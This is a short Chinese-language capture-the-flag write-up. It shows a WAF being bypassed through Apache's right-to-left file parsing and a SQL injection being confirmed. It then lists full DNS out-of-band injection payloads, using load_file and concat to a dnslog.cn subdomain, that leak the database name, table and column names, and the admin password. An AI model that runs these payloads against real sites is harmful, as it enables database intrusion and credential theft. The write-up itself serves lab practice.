因为在?id=1 and 1=2时,waf设置了过滤规则,所以要考虑绕过规则
apache的解析是从右往左的,当右边第一个文件不存在的时候会跳过,从而解析第二个文件
于是在url后添加一个不存在的1.txt,然后输入?id=1 and 1=1 和?id=1 and 1=2时页面回显正常了,且表示存在sql注入
在dnslog上获取一个域名
o6bif7.dnslog.cn
利用dns注入
输入1.txt?id=1 and (select load_file(concat('//',database(),'.zxcv.scgh8s.dnslog.cn/asd'))),在dnslog上更新访问记录,得到数据库名是mangzhu
select table_name from information_schema.tables where table_schema=database() limit 0,1
输入1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.zxcv.scgh8s.dnslog.cn/asd')))
得到第一个表名是admin,第二个是news
select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 0,1
输入以下命令
1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' and table_schema=database() limit 2,1),'.zxcv.scgh8s.dnslog.cn/asd')))
得到字段名 id,username,password
select password from admin limit 0,1
输入以下命令
1.txt?id=1 and (select load_file(concat('//',(select password from admin limit 0,1),'.zxcv.scgh8s.dnslog.cn/asd')))
拿到flag